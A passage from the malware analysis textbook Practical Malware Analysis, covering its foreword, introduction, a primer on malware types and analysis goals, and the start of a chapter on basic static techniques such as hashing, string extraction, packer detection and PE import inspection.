expend a lot of effort producing thousands of LOC, only to see it brutalized
by nifty, nimble intruders sporting far fewer LOC.
What’s a defender to do? The answer is to take a page out of the play-
book used by any leader who is outgunned—redefine an “obstacle” as an
“opportunity”! Forget about the size of the defensive tools and target operat-
ing systems—there’s not a whole lot you can do about them. Rejoice in the
fact that malware samples are as small (relatively speaking) as they are.
2. http://git.gnome.org/browse/gedit/tree/gedit?id=3.3.1
Foreword
xxiii
Imagine trying to understand how a defensive tool works at the source
code level, where those 12.5 million LOC are waiting. That’s a daunting task,
although some researchers assign themselves such pet projects. For one
incredible example, read “Sophail: A Critical Analysis of Sophos Antivirus”
by Tavis Ormandy,3 also presented at Black Hat Las Vegas in 2011. This sort
of mammoth analysis is the exception and not the rule.
Instead of worrying about millions of LOC (or hundreds or tens of
thousands), settle into the area of one thousand or less—the place where
a significant portion of the world’s malware can be found. As a defender,
your primary goal with respect to malware is to determine what it does, how
it manifests in your environment, and what to do about it. When dealing
with reasonably sized samples and the right skills, you have a chance to
answer these questions and thereby reduce the risk to your enterprise.
If the malware authors are ready to provide the samples, the authors
of the book you’re reading are here to provide the skills. Practical Malware
Analysis is the sort of book I think every malware analyst should keep handy.
If you’re a beginner, you’re going to read the introductory, hands-on mate-
rial you need to enter the fight. If you’re an intermediate practitioner, it will
take you to the next level. If you’re an advanced engineer, you’ll find those
extra gems to push you even higher—and you’ll be able to say “read this fine
manual” when asked questions by those whom you mentor.
Practical Malware Analysis is really two books in one—first, it’s a text
showing readers how to analyze modern malware. You could have bought
the book for that reason alone and benefited greatly from its instruction.
However, the authors decided to go the extra mile and essentially write a
second book. This additional tome could have been called Applied Malware
Analysis, and it consists of the exercises, short answers, and detailed investiga-
tions presented at the end of each chapter and in Appendix C. The authors
also wrote all the malware they use for examples, ensuring a rich yet safe
environment for learning.
Therefore, rather than despair at the apparent asymmetries facing digi-
tal defenders, be glad that the malware in question takes the form it cur-
rently does. Armed with books like Practical Malware Analysis, you’ll have the
edge you need to better detect and respond to intrusions in your enterprise
or that of your clients. The authors are experts in these realms, and you
will find advice extracted from the front lines, not theorized in an isolated
research lab. Enjoy reading this book and know that every piece of malware
you reverse-engineer and scrutinize raises the opponent’s costs by exposing
his dark arts to the sunlight of knowledge.
Richard Bejtlich (@taosecurity)
Chief Security Officer, Mandiant and Founder of TaoSecurity
Manassas Park, Virginia
January 2, 2012
3. http://dl.packetstormsecurity.net/papers/virus/Sophail.pdf
A C K N O W L E D G M E N T S
Thanks to Lindsey Lack, Nick Harbour, and Jerrold “Jay” Smith for contrib-
uting chapters in their areas of expertise. Thanks to our technical reviewer
Stephen Lawler who single-handedly reviewed over 50 labs and all of our
chapters. Thanks to Seth Summersett, William Ballenthin, and Stephen
Davis for contributing code for this book.
Special thanks go to everyone at No Starch Press for their effort. Alison,
Bill, Travis, and Tyler: we were glad to work with you and everyone else at
No Starch Press.
Individual Thanks
Mike: I dedicate this book to Rebecca—I couldn’t have done this without
having such a supportive and loving person in my life.
Andy: I’d like to thank Molly, Claire, and Eloise for being the best family a
guy could have.
I N T R O D U C T I O N
The phone rings, and the networking guys tell you that
you’ve been hacked and that your customers’ sensitive
information is being stolen from your network. You
begin your investigation by checking your logs to iden-
tify the hosts involved. You scan the hosts with antivirus
software to find the malicious program, and catch a lucky break when it
detects a trojan horse named TROJ.snapAK. You delete the file in an attempt
to clean things up, and you use network capture to create an intrusion detec-
tion system (IDS) signature to make sure no other machines are infected.
Then you patch the hole that you think the attackers used to break in to
ensure that it doesn’t happen again.
Then, several days later, the networking guys are back, telling you that sen-
sitive data is being stolen from your network. It seems like the same attack, but
you have no idea what to do. Clearly, your IDS signature failed, because more
machines are infected, and your antivirus software isn’t providing enough pro-
tection to isolate the threat. Now upper management demands an explanation
of what happened, and all you can tell them about the malware is that it was
TROJ.snapAK. You don’t have the answers to the most important questions,
and you’re looking kind of lame.
xxviii
Introduction
How do you determine exactly what TROJ.snapAK does so you can elim-
inate the threat? How do you write a more effective network signature? How
can you find out if any other machines are infected with this malware?
How can you make sure you’ve deleted the entire malware package and
not just one part of it? How can you answer management’s questions about
what the malicious program does?
All you can do is tell your boss that you need to hire expensive outside
consultants because you can’t protect your own network. That’s not really
the best way to keep your job secure.
Ah, but fortunately, you were smart enough to pick up a copy of Practical
Malware Analysis. The skills you’ll learn in this book will teach you how to
answer those hard questions and show you how to protect your network from
malware.
What Is Malware Analysis?
Malicious software, or malware, plays a part in most computer intrusion and
security incidents. Any software that does something that causes harm to a
user, computer, or network can be considered malware, including viruses,
trojan horses, worms, rootkits, scareware, and spyware. While the various
malware incarnations do all sorts of different things (as you’ll see throughout
this book), as malware analysts, we have a core set of tools and techniques at
our disposal for analyzing malware.
Malware analysis is the art of dissecting malware to understand how it
works, how to identify it, and how to defeat or eliminate it. And you don’t
need to be an uber-hacker to perform malware analysis.
With millions of malicious programs in the wild, and more encountered
every day, malware analysis is critical for anyone who responds to computer
security incidents. And, with a shortage of malware analysis professionals, the
skilled malware analyst is in serious demand.
That said, this is not a book on how to find malware. Our focus is on how
to analyze malware once it has been found. We focus on malware found on
the Windows operating system—by far the most common operating system in
use today—but the skills you learn will serve you well when analyzing mal-
ware on any operating system. We also focus on executables, since they are
the most common and the most difficult files that you’ll encounter. At the
same time, we’ve chosen to avoid discussing malicious scripts and Java pro-
grams. Instead, we dive deep into the methods used for dissecting advanced
threats, such as backdoors, covert malware, and rootkits.
Prerequisites
Regardless of your background or experience with malware analysis, you’ll
find something useful in this book.
Chapters 1 through 3 discuss basic malware analysis techniques that
even those with no security or programming experience will be able to use
to perform malware triage. Chapters 4 through 14 cover more intermediate
Introduction
xxix
material that will arm you with the major tools and skills needed to analyze
most malicious programs. These chapters do require some knowledge of
programming. The more advanced material in Chapters 15 through 19 will
be useful even for seasoned malware analysts because it covers strategies
and techniques for analyzing even the most sophisticated malicious pro-
grams, such as programs utilizing anti-disassembly, anti-debugging, or
packing techniques.
This book will teach you how and when to use various malware analysis
techniques. Understanding when to use a particular technique can be as
important as knowing the technique, because using the wrong technique in
the wrong situation can be a frustrating waste of time. We don’t cover every
tool, because tools change all the time and it’s the core skills that are
important. Also, we use realistic malware samples throughout the book
(which you can download from http://www.practicalmalwareanalysis.com/ or
http://www.nostarch.com/malware.htm) to expose you to the types of things
that you’ll see when analyzing real-world malware.
Practical, Hands-On Learning
Our extensive experience teaching professional reverse-engineering and
malware analysis classes has taught us that students learn best when they get
to practice the skills they are learning. We’ve found that the quality of the
labs is as important as the quality of the lecture, and without a lab compo-
nent, it’s nearly impossible to learn how to analyze malware.
To that end, lab exercises at the end of most chapters allow you to prac-
tice the skills taught in that chapter. These labs challenge you with realistic
malware designed to demonstrate the most common types of behavior that
you’ll encounter in real-world malware. The labs are designed to reinforce
the concepts taught in the chapter without overwhelming you with unrelated
information. Each lab includes one or more malicious files (which can be
downloaded from http://www.practicalmalwareanalysis.com/ or http://www
.nostarch.com/malware.htm), some questions to guide you through the lab,
short answers to the questions, and a detailed analysis of the malware.
The labs are meant to simulate realistic malware analysis scenarios. As
such, they have generic filenames that provide no insight into the functional-
ity of the malware. As with real malware, you’ll start with no information, and
you’ll need to use the skills you’ve learned to gather clues and figure out
what the malware does.
The amount of time required for each lab will depend on your experi-
ence. You can try to complete the lab yourself, or follow along with the
detailed analysis to see how the various techniques are used in practice.
Most chapters contain three labs. The first lab is generally the easiest,
and most readers should be able to complete it. The second lab is meant to
be moderately difficult, and most readers will require some assistance from
the solutions. The third lab is meant to be difficult, and only the most adept
readers will be able to complete it without help from the solutions.
xxx
Introduction
What’s in the Book?
Practical Malware Analysis begins with easy methods that can be used to get
information from relatively unsophisticated malicious programs, and pro-
ceeds with increasingly complicated techniques that can be used to tackle
even the most sophisticated malicious programs. Here’s what you’ll find in
each chapter:
Chapter 0, “Malware Analysis Primer,” establishes the overall process and
methodology of analyzing malware.
Chapter 1, “Basic Static Techniques,” teaches ways to get information
from an executable without running it.
Chapter 2, “Malware Analysis in Virtual Machines,” walks you through
setting up virtual machines to use as a safe environment for running
malware.
Chapter 3, “Basic Dynamic Analysis,” teaches easy-to-use but effective
techniques for analyzing a malicious program by running it.
Chapter 4, “A Crash Course in x86 Assembly,” is an introduction to the
x86 assembly language, which provides a foundation for using IDA Pro
and performing in-depth analysis of malware.
Chapter 5, “IDA Pro,” shows you how to use IDA Pro, one of the most
important malware analysis tools. We’ll use IDA Pro throughout the
remainder of the book.
Chapter 6, “Recognizing C Code Constructs in Assembly,” provides
examples of C code in assembly and teaches you how to understand
the high-level functionality of assembly code.
Chapter 7, “Analyzing Malicious Windows Programs,” covers a wide range
of Windows-specific concepts that are necessary for understanding mali-
cious Windows programs.
Chapter 8, “Debugging,” explains the basics of debugging and how to
use a debugger for malware analysts.
Chapter 9, “OllyDbg,” shows you how to use OllyDbg, the most popular
debugger for malware analysts.
Chapter 10, “Kernel Debugging with WinDbg,” covers how to use the
WinDbg debugger to analyze kernel-mode malware and rootkits.
Chapter 11, “Malware Behavior,” describes common malware functional-
ity and shows you how to recognize that functionality when analyzing
malware.
Chapter 12, “Covert Malware Launching,” discusses how to analyze a par-
ticularly stealthy class of malicious programs that hide their execution
within another process.
Chapter 13, “Data Encoding,” demonstrates how malware may encode
data in order to make it harder to identify its activities in network traffic
or on the victim host.
Introduction
xxxi
Chapter 14, “Malware-Focused Network Signatures,” teaches you how to
use malware analysis to create network signatures that outperform signa-
tures made from captured traffic alone.
Chapter 15, “Anti-Disassembly,” explains how some malware authors
design their malware so that it is hard to disassemble, and how to recog-
nize and defeat these techniques.
Chapter 16, “Anti-Debugging,” describes the tricks that malware authors
use to make their code difficult to debug and how to overcome those
roadblocks.
Chapter 17, “Anti-Virtual Machine Techniques,” demonstrates tech-
niques used by malware to make it difficult to analyze in a virtual
machine and how to bypass those techniques.
Chapter 18, “Packers and Unpacking,” teaches you how malware uses
packing to hide its true purpose, and then provides a step-by-step
approach for unpacking packed programs.
Chapter 19, “Shellcode Analysis,” explains what shellcode is and presents
tips and tricks specific to analyzing malicious shellcode.
Chapter 20, “C++ Analysis,” instructs you on how C++ code looks differ-
ent once it is compiled and how to perform analysis on malware created
using C++.
Chapter 21, “64-Bit Malware,” discusses why malware authors may use 64-bit
malware and what you need to know about the differences between x86
and x64.
Appendix A, “Important Windows Functions,” briefly describes Windows
functions commonly used in malware.
Appendix B, “Tools for Malware Analysis,” lists useful tools for malware
analysts.
Appendix C, “Solutions to Labs,” provides the solutions for the labs
included in the chapters throughout the book.
Our goal throughout this book is to arm you with the skills to analyze
and defeat malware of all types. As you’ll see, we cover a lot of material and
use labs to reinforce the material. By the time you’ve finished this book, you
will have learned the skills you need to analyze any malware, including simple
techniques for quickly analyzing ordinary malware and complex, sophisti-
cated ones for analyzing even the most enigmatic malware.
Let’s get started.
M A L W A R E A N A L Y S I S P R I M E R
Before we get into the specifics of how to analyze mal-
ware, we need to define some terminology, cover com-
mon types of malware, and introduce the fundamental
approaches to malware analysis. Any software that does
something that causes detriment to the user, computer, or network—such as
viruses, trojan horses, worms, rootkits, scareware, and spyware—can be con-
sidered malware. While malware appears in many different forms, common
techniques are used to analyze malware. Your choice of which technique to
employ will depend on your goals.
The Goals of Malware Analysis
The purpose of malware analysis is usually to provide the information you
need to respond to a network intrusion. Your goals will typically be to deter-
mine exactly what happened, and to ensure that you’ve located all infected
machines and files. When analyzing suspected malware, your goal will typi-
cally be to determine exactly what a particular suspect binary can do, how to
detect it on your network, and how to measure and contain its damage.
2
Chapter 0
Once you identify which files require full analysis, it’s time to develop
signatures to detect malware infections on your network. As you’ll learn
throughout this book, malware analysis can be used to develop host-based
and network signatures.
Host-based signatures, or indicators, are used to detect malicious code on
victim computers. These indicators often identify files created or modified by
the malware or specific changes that it makes to the registry. Unlike antivirus
signatures, malware indicators focus on what the malware does to a system,
not on the characteristics of the malware itself, which makes them more
effective in detecting malware that changes form or that has been deleted
from the hard disk.
Network signatures are used to detect malicious code by monitoring net-
work traffic. Network signatures can be created without malware analysis, but
signatures created with the help of malware analysis are usually far more
effective, offering a higher detection rate and fewer false positives.
After obtaining the signatures, the final objective is to figure out exactly
how the malware works. This is often the most asked question by senior man-
agement, who want a full explanation of a major intrusion. The in-depth
techniques you’ll learn in this book will allow you to determine the purpose
and capabilities of malicious programs.
Malware Analysis Techniques
Most often, when performing malware analysis, you’ll have only the malware
executable, which won’t be human-readable. In order to make sense of it,
you’ll use a variety of tools and tricks, each revealing a small amount of infor-
mation. You’ll need to use a variety of tools in order to see the full picture.
There are two fundamental approaches to malware analysis: static and
dynamic. Static analysis involves examining the malware without running it.
Dynamic analysis involves running the malware. Both techniques are further
categorized as basic or advanced.
Basic Static Analysis
Basic static analysis consists of examining the executable file without viewing
the actual instructions. Basic static analysis can confirm whether a file is mali-
cious, provide information about its functionality, and sometimes provide
information that will allow you to produce simple network signatures. Basic
static analysis is straightforward and can be quick, but it’s largely ineffective
against sophisticated malware, and it can miss important behaviors.
Basic Dynamic Analysis
Basic dynamic analysis techniques involve running the malware and observ-
ing its behavior on the system in order to remove the infection, produce
effective signatures, or both. However, before you can run malware safely,
you must set up an environment that will allow you to study the running
Malware Analysis Primer
3
malware without risk of damage to your system or network. Like basic static
analysis techniques, basic dynamic analysis techniques can be used by most
people without deep programming knowledge, but they won’t be effective
with all malware and can miss important functionality.
Advanced Static Analysis
Advanced static analysis consists of reverse-engineering the malware’s internals
by loading the executable into a disassembler and looking at the program
instructions in order to discover what the program does. The instructions are
executed by the CPU, so advanced static analysis tells you exactly what the pro-
gram does. However, advanced static analysis has a steeper learning curve than
basic static analysis and requires specialized knowledge of disassembly, code
constructs, and Windows operating system concepts, all of which you’ll learn in
this book.
Advanced Dynamic Analysis
Advanced dynamic analysis uses a debugger to examine the internal state of a
running malicious executable. Advanced dynamic analysis techniques pro-
vide another way to extract detailed information from an executable. These
techniques are most useful when you’re trying to obtain information that is
difficult to gather with the other techniques. In this book, we’ll show you
how to use advanced dynamic analysis together with advanced static analysis
in order to completely analyze suspected malware.
Types of Malware
When performing malware analysis, you will find that you can often speed up
your analysis by making educated guesses about what the malware is trying to
do and then confirming those hypotheses. Of course, you’ll be able to make
better guesses if you know the kinds of things that malware usually does. To
that end, here are the categories that most malware falls into:
Backdoor
Malicious code that installs itself onto a computer to allow
the attacker access. Backdoors usually let the attacker connect to the
computer with little or no authentication and execute commands on the
local system.
Botnet
Similar to a backdoor, in that it allows the attacker access to the
system, but all computers infected with the same botnet receive the same
instructions from a single command-and-control server.
Downloader
Malicious code that exists only to download other mali-
cious code. Downloaders are commonly installed by attackers when they
first gain access to a system. The downloader program will download and
install additional malicious code.
4
Chapter 0
Information-stealing malware
Malware that collects information from a
victim’s computer and usually sends it to the attacker. Examples include
sniffers, password hash grabbers, and keyloggers. This malware is typically
used to gain access to online accounts such as email or online banking.
Launcher
Malicious program used to launch other malicious programs.
Usually, launchers use nontraditional techniques to launch other mali-
cious programs in order to ensure stealth or greater access to a system.
Rootkit
Malicious code designed to conceal the existence of other
code. Rootkits are usually paired with other malware, such as a backdoor,
to allow remote access to the attacker and make the code difficult for the
victim to detect.
Scareware
Malware designed to frighten an infected user into buying
something. It usually has a user interface that makes it look like an anti-
virus or other security program. It informs users that there is malicious
code on their system and that the only way to get rid of it is to buy their
“software,” when in reality, the software it’s selling does nothing more
than remove the scareware.
Spam-sending malware
Malware that infects a user’s machine and then
uses that machine to send spam. This malware generates income for
attackers by allowing them to sell spam-sending services.
Worm or virus
Malicious code that can copy itself and infect additional
computers.
Malware often spans multiple categories. For example, a program
might have a keylogger that collects passwords and a worm component that
sends spam. Don’t get too caught up in classifying malware according to its
functionality.
Malware can also be classified based on whether the attacker’s objective is
mass or targeted. Mass malware, such as scareware, takes the shotgun approach
and is designed to affect as many machines as possible. Of the two objectives,
it’s the most common, and is usually the less sophisticated and easier to detect
and defend against because security software targets it.
Targeted malware, like a one-of-a-kind backdoor, is tailored to a spe-
cific organization. Targeted malware is a bigger threat to networks than
mass malware, because it is not widespread and your security products
probably won’t protect you from it. Without a detailed analysis of targeted
malware, it is nearly impossible to protect your network against that mal-
ware and to remove infections. Targeted malware is usually very sophisti-
cated, and your analysis will often require the advanced analysis skills
covered in this book.
Malware Analysis Primer
5
General Rules for Malware Analysis
We’ll finish this primer with several rules to keep in mind when performing
analysis.
First, don’t get too caught up in the details. Most malware programs are
large and complex, and you can’t possibly understand every detail. Focus
instead on the key features. When you run into difficult and complex sec-
tions, try to get a general overview before you get stuck in the weeds.
Second, remember that different tools and approaches are available for
different jobs. There is no one approach. Every situation is different, and the
various tools and techniques that you’ll learn will have similar and sometimes
overlapping functionality. If you’re not having luck with one tool, try another.
If you get stuck, don’t spend too long on any one issue; move on to some-
thing else. Try analyzing the malware from a different angle, or just try a dif-
ferent approach.
Finally, remember that malware analysis is like a cat-and-mouse game. As
new malware analysis techniques are developed, malware authors respond
with new techniques to thwart analysis. To succeed as a malware analyst, you
must be able to recognize, understand, and defeat these techniques, and
respond to changes in the art of malware analysis.
PART 1
B A S I C A N A L Y S I S
B A S I C S T A T I C T E C H N I Q U E S
We begin our exploration of malware analysis with
static analysis, which is usually the first step in studying
malware. Static analysis describes the process of analyz-
ing the code or structure of a program to determine its
function. The program itself is not run at this time. In
contrast, when performing dynamic analysis, the analyst
actually runs the program, as you’ll learn in Chapter 3.
This chapter discusses multiple ways to extract useful information from
executables. In this chapter, we’ll discuss the following techniques:
Using antivirus tools to confirm maliciousness
Using hashes to identify malware
Gleaning information from a file’s strings, functions, and headers
Each technique can provide different information, and the ones you use
depend on your goals. Typically, you’ll use several techniques to gather as
much information as possible.
10
Chapter 1
Antivirus Scanning: A Useful First Step
When first analyzing prospective malware, a good first step is to run it
through multiple antivirus programs, which may already have identified it.
But antivirus tools are certainly not perfect. They rely mainly on a database
of identifiable pieces of known suspicious code (file signatures), as well as
behavioral and pattern-matching analysis (heuristics) to identify suspect
files. One problem is that malware writers can easily modify their code,
thereby changing their program’s signature and evading virus scanners.
Also, rare malware often goes undetected by antivirus software because it’s
simply not in the database. Finally, heuristics, while often successful in
identifying unknown malicious code, can be bypassed by new and unique
malware.
Because the various antivirus programs use different signatures and
heuristics, it’s useful to run several different antivirus programs against the
same piece of suspected malware. Websites such as VirusTotal (http://www
.virustotal.com/) allow you to upload a file for scanning by multiple antivirus
engines. VirusTotal generates a report that provides the total number of
engines that marked the file as malicious, the malware name, and, if avail-
able, additional information about the malware.
Hashing: A Fingerprint for Malware
Hashing is a common method used to uniquely identify malware. The mali-
cious software is run through a hashing program that produces a unique
hash that identifies that malware (a sort of fingerprint). The Message-Digest
Algorithm 5 (MD5) hash function is the one most commonly used for
malware analysis, though the Secure Hash Algorithm 1 (SHA-1) is also
popular.
For example, using the freely available md5deep program to calculate the
hash of the Solitaire program that comes with Windows would generate the
following output:
C:\>md5deep c:\WINDOWS\system32\sol.exe
373e7a863a1a345c60edb9e20ec3231 c:\WINDOWS\system32\sol.exe
The hash is 373e7a863a1a345c60edb9e20ec3231.
The GUI-based WinMD5 calculator, shown in Figure 1-1, can calculate
and display hashes for several files at a time.
Once you have a unique hash for a piece of malware, you can use it as
follows:
Use the hash as a label.
Share that hash with other analysts to help them to identify malware.
Search for that hash online to see if the file has already been identified.
Basic Static Techniques
11
Figure 1-1: Output of WinMD5
Finding Strings
A string in a program is a sequence of characters such as “the.” A program
contains strings if it prints a message, connects to a URL, or copies a file to a
specific location.
Searching through the strings can be a simple way to get hints about
the functionality of a program. For example, if the program accesses a URL,
then you will see the URL accessed stored as a string in the program. You can
use the Strings program (http://bit.ly/ic4plL), to search an executable for
strings, which are typically stored in either ASCII or Unicode format.
NOTE
Microsoft uses the term wide character string to describe its implementation of Uni-
code strings, which varies slightly from the Unicode standards. Throughout this book,
when we refer to Unicode, we are referring to the Microsoft implementation.
Both ASCII and Unicode formats store characters in sequences that end
with a NULL terminator to indicate that the string is complete. ASCII strings
use 1 byte per character, and Unicode uses 2 bytes per character.
Figure 1-2 shows the string BAD stored as ASCII. The ASCII string is stored
as the bytes 0x42, 0x41, 0x44, and 0x00, where 0x42 is the ASCII representa-
tion of a capital letter B, 0x41 represents the letter A, and so on. The 0x00 at
the end is the NULL terminator.
Figure 1-2: ASCII representation of the string BAD
Figure 1-3 shows the string BAD stored as Unicode. The Unicode string is
stored as the bytes 0x42, 0x00, 0x41, and so on. A capital B is represented by
the bytes 0x42 and 0x00, and the NULL terminator is two 0x00 bytes in a row.
B
A
D
NULL Terminator
ASCII
42
41
44
00
12
Chapter 1
Figure 1-3: Unicode representation of the string BAD
When Strings searches an executable for ASCII and Unicode strings, it
ignores context and formatting, so that it can analyze any file type and detect
strings across an entire file (though this also means that it may identify bytes
of characters as strings when they are not). Strings searches for a three-letter
or greater sequence of ASCII and Unicode characters, followed by a string
termination character.
Sometimes the strings detected by the Strings program are not actual
strings. For example, if Strings finds the sequence of bytes 0x56, 0x50, 0x33,
0x00, it will interpret that as the string VP3. But those bytes may not actually
represent that string; they could be a memory address, CPU instructions, or
data used by the program. Strings leaves it up to the user to filter out the
invalid strings.
Fortunately, most invalid strings are obvious, because they do not repre-
sent legitimate text. For example, the following excerpt shows the result of
running Strings against the file bp6.ex_:
C:>strings bp6.ex_
VP3
VW3
t$@
D$4
99.124.22.1
e-@
GetLayout
GDI32.DLL
SetLayout
M}C
Mail system DLL is invalid.!Send Mail failed to send message.
In this example, the bold strings can be ignored. Typically, if a string is
short and doesn’t correspond to words, it’s probably meaningless.
On the other hand, the strings GetLayout at and SetLayout at are Win-
dows functions used by the Windows graphics library. We can easily identify
these as meaningful strings because Windows function names normally begin
with a capital letter and subsequent words also begin with a capital letter.
GDI32.DLL at is meaningful because it’s the name of a common Windows
dynamic link library (DLL) used by graphics programs. (DLL files contain exe-
cutable code that is shared among multiple applications.)
As you might imagine, the number 99.124.22.1 at is an IP address—
most likely one that the malware will use in some fashion.
Finally, at , Mail system DLL is invalid.!Send Mail failed to send message.
is an error message. Often, the most useful information obtained by run-
ning Strings is found in error messages. This particular message reveals two
B
A
D
NULL Terminator
Unicode
42
00
41
00
44
00
00
00
Basic Static Techniques
13
things: The subject malware sends messages (probably through email), and it
depends on a mail system DLL. This information suggests that we might want
to check email logs for suspicious traffic, and that another DLL (Mail system
DLL) might be associated with this particular malware. Note that the missing
DLL itself is not necessarily malicious; malware often uses legitimate libraries
and DLLs to further its goals.
Packed and Obfuscated Malware
Malware writers often use packing or obfuscation to make their files more
difficult to detect or analyze. Obfuscated programs are ones whose execution
the malware author has attempted to hide. Packed programs are a subset of
obfuscated programs in which the malicious program is compressed and can-
not be analyzed. Both techniques will severely limit your attempts to statically
analyze the malware.
Legitimate programs almost always include many strings. Malware that is
packed or obfuscated contains very few strings. If upon searching a program
with Strings, you find that it has only a few strings, it is probably either obfus-
cated or packed, suggesting that it may be malicious. You’ll likely need to
throw more than static analysis at it in order to investigate further.
NOTE
Packed and obfuscated code will often include at least the functions LoadLibrary and
GetProcAddress, which are used to load and gain access to additional functions.
Packing Files
When the packed program is run, a small wrapper program also runs to
decompress the packed file and then run the unpacked file, as shown in Fig-
ure 1-4. When a packed program is analyzed statically, only the small wrapper
program can be dissected. (Chapter 18 discusses packing and unpacking in
more detail.)
Figure 1-4: The file on the left is the original executable, with all strings,
imports, and other information visible. On the right is a packed execut-
able. All of the packed file’s strings, imports, and other information are
compressed and invisible to most static analysis tools.
Wrapper Program
Original Executable
(Strings and other
information visible)
Packed Executable
(Strings and other
information not
visible)
Start
Start
14
Chapter 1
Detecting Packers with PEiD
One way to detect packed files is with the PEiD program. You can use PEiD
to detect the type of packer or compiler employed to build an application,
which makes analyzing the packed file much easier. Figure 1-5 shows infor-
mation about the orig_af2.ex_ file as reported by PEiD.
Figure 1-5: The PEiD program
NOTE
Development and support for PEiD has been discontinued since April 2011, but it’s
still the best tool available for packer and compiler detection. In many cases, it will also
identify which packer was used to pack the file.
As you can see, PEiD has identified the file as being packed with UPX
version 0.89.6-1.02 or 1.05-2.90. (Just ignore the other information shown
here for now. We’ll examine this program in more detail in Chapter 18.)
When a program is packed, you must unpack it in order to be able to
perform any analysis. The unpacking process is often complex and is covered
in detail in Chapter 18, but the UPX packing program is so popular and easy
to use for unpacking that it deserves special mention here. For example, to
unpack malware packed with UPX, you would simply download UPX (http://
upx.sourceforge.net/) and run it like so, using the packed program as input:
upx -d PackedProgram.exe
NOTE
Many PEiD plug-ins will run the malware executable without warning! (See Chapter 2
to learn how to set up a safe environment for running malware.) Also, like all pro-
grams, especially those used for malware analysis, PEiD can be subject to vulnerabili-
ties. For example, PEiD version 0.92 contained a buffer overflow that allowed an
attacker to execute arbitrary code. This would have allowed a clever malware writer to
write a program to exploit the malware analyst’s machine. Be sure to use the latest ver-
sion of PEiD.
Portable Executable File Format
So far, we have discussed tools that scan executables without regard to their
format. However, the format of a file can reveal a lot about the program’s
functionality.
Basic Static Techniques
15
The Portable Executable (PE) file format is used by Windows execut-
ables, object code, and DLLs. The PE file format is a data structure that
contains the information necessary for the Windows OS loader to manage
the wrapped executable code. Nearly every file with executable code that is
loaded by Windows is in the PE file format, though some legacy file formats
do appear on rare occasion in malware.
PE files begin with a header that includes information about the code,
the type of application, required library functions, and space requirements.
The information in the PE header is of great value to the malware analyst.
Linked Libraries and Functions
One of the most useful pieces of information that we can gather about an
executable is the list of functions that it imports. Imports are functions used
by one program that are actually stored in a different program, such as code
libraries that contain functionality common to many programs. Code librar-
ies can be connected to the main executable by linking.
Programmers link imports to their programs so that they don’t need to
re-implement certain functionality in multiple programs. Code libraries can
be linked statically, at runtime, or dynamically. Knowing how the library code
is linked is critical to our understanding of malware because the information
we can find in the PE file header depends on how the library code has been
linked. We’ll discuss several tools for viewing an executable’s imported func-
tions in this section.
Static, Runtime, and Dynamic Linking
Static linking is the least commonly used method of linking libraries, although
it is common in UNIX and Linux programs. When a library is statically linked
to an executable, all code from that library is copied into the executable, which
makes the executable grow in size. When analyzing code, it’s difficult to differ-
entiate between statically linked code and the executable’s own code, because
nothing in the PE file header indicates that the file contains linked code.
While unpopular in friendly programs, runtime linking is commonly used
in malware, especially when it’s packed or obfuscated. Executables that use
runtime linking connect to libraries only when that function is needed, not
at program start, as with dynamically linked programs.
Several Microsoft Windows functions allow programmers to import
linked functions not listed in a program’s file header. Of these, the two most
commonly used are LoadLibrary and GetProcAddress. LdrGetProcAddress and
LdrLoadDll are also used. LoadLibrary and GetProcAddress allow a program to
access any function in any library on the system, which means that when
these functions are used, you can’t tell statically which functions are being
linked to by the suspect program.
16
Chapter 1
Of all linking methods, dynamic linking is the most common and the most
interesting for malware analysts. When libraries are dynamically linked, the
host OS searches for the necessary libraries when the program is loaded.
When the program calls the linked library function, that function executes
within the library.
The PE file header stores information about every library that will be
loaded and every function that will be used by the program. The libraries
used and functions called are often the most important parts of a program,
and identifying them is particularly important, because it allows us to guess
at what the program does. For example, if a program imports the function
URLDownloadToFile, you might guess that it connects to the Internet to down-
load some content that it then stores in a local file.
Exploring Dynamically Linked Functions with Dependency Walker
The Dependency Walker program (http://www.dependencywalker.com/), distrib-
uted with some versions of Microsoft Visual Studio and other Microsoft devel-
opment packages, lists only dynamically linked functions in an executable.
Figure 1-6 shows the Dependency Walker’s analysis of SERVICES.EX_ .
The far left pane at shows the program as well as the DLLs being
imported, namely KERNEL32.DLL and WS2_32.DLL.
Figure 1-6: The Dependency Walker program
Clicking KERNEL32.DLL shows its imported functions in the upper-right
pane at . We see several functions, but the most interesting is CreateProcessA,
which tells us that the program will probably create another process, and sug-
gests that when running the program, we should watch for the launch of
additional programs.
The middle right pane at lists all functions in KERNEL32.DLL that can
be imported—information that is not particularly useful to us. Notice the col-
umn in panes and labeled Ordinal. Executables can import functions
Basic Static Techniques
17
by ordinal instead of name. When importing a function by ordinal, the name
of the function never appears in the original executable, and it can be harder
for an analyst to figure out which function is being used. When malware
imports a function by ordinal, you can find out which function is being
imported by looking up the ordinal value in the pane at .
The bottom two panes ( and ) list additional information about
the versions of DLLs that would be loaded if you ran the program and any
reported errors, respectively.
A program’s DLLs can tell you a lot about its functionality. For example,
Table 1-1 lists common DLLs and what they tell you about an application.
Table 1-1: Common DLLs
DLL
Description
Kernel32.dll
This is a very common DLL that contains core functionality, such as access
and manipulation of memory, files, and hardware.
Advapi32.dll
This DLL provides access to advanced core Windows components such
as the Service Manager and Registry.
User32.dll
This DLL contains all the user-interface components, such as buttons, scroll
bars, and components for controlling and responding to user actions.
Gdi32.dll
This DLL contains functions for displaying and manipulating graphics.
Ntdll.dll
This DLL is the interface to the Windows kernel. Executables generally do
not import this file directly, although it is always imported indirectly by
Kernel32.dll. If an executable imports this file, it means that the author
intended to use functionality not normally available to Windows pro-
grams. Some tasks, such as hiding functionality or manipulating pro-
cesses, will use this interface.
WSock32.dll and
Ws2_32.dll
These are networking DLLs. A program that accesses either of these most
likely connects to a network or performs network-related tasks.
Wininet.dll
This DLL contains higher-level networking functions that implement
protocols such as FTP, HTTP, and NTP.
FUNCTION NAMING CONVENTIONS
When evaluating unfamiliar Windows functions, a few naming conventions are
worth noting because they come up often and might confuse you if you don’t recog-
nize them. For example, you will often encounter function names with an Ex suffix,
such as CreateWindowEx. When Microsoft updates a function and the new function is
incompatible with the old one, Microsoft continues to support the old function. The
new function is given the same name as the old function, with an added Ex suffix.
Functions that have been significantly updated twice have two Ex suffixes in their
names.
Many functions that take strings as parameters include an A or a W at the end of
their names, such as CreateDirectoryW. This letter does not appear in the documenta-
tion for the function; it simply indicates that the function accepts a string parameter
and that there are two different versions of the function: one for ASCII strings and
one for wide character strings. Remember to drop the trailing A or W when searching
for the function in the Microsoft documentation.
18
Chapter 1
Imported Functions
The PE file header also includes information about specific functions used
by an executable. The names of these Windows functions can give you a good
